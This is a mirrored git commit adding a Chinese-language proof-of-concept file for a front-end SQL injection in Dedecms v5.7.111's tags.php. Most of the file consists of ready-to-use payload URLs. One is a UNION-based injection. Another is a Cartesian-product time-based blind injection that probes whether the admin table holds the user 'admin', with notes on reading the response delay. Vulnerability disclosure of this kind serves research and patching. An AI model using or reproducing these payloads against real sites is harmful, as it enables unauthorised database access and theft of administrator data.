admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create Dedecms v5.7.111前台tags.php SQL注入漏洞.md

Browse Source
This commit is contained in:
wy876 2023-12-08 23:41:11 +08:00 committed by GitHub
parent bd8fb18606
commit cefe61bd30
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

24
Dedecms v5.7.111前台tags.php SQL注入漏洞.md Normal file
View File

@ -0,0 +1,24 @@
## Dedecms v5.7.111前台tags.php SQL注入漏洞
## 影响版本：
```
v5.7.111，或打补丁的历史版本
```
## poc
```
http://x.com/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,2,3,4,5,6,7,8,9,10,11--%20\\
/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(exists(select+*+from+%23@__admin+where+userid+like'admin'),(select+count(*)+from+information_schema.tables+A,information_schema.tables+B),1)--%20\\
```
![image](https://github.com/wy876/POC/assets/139549762/568076a5-4ad2-4cf6-89a4-60d02d464222)
## 笛卡尔积 盲注
```
/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(exists(select+*+from+%23@__admin+where+userid+like'admin'),(select+count(*)+from+information_schema.tables+A,information_schema.tables+B),1)--%20\\
```
当 admin表userid 存在admin时，响应时间为下图右下角的 5539 ms
![image](https://github.com/wy876/POC/assets/139549762/ac170e5f-a085-4dc6-affb-94ffb99f69d8)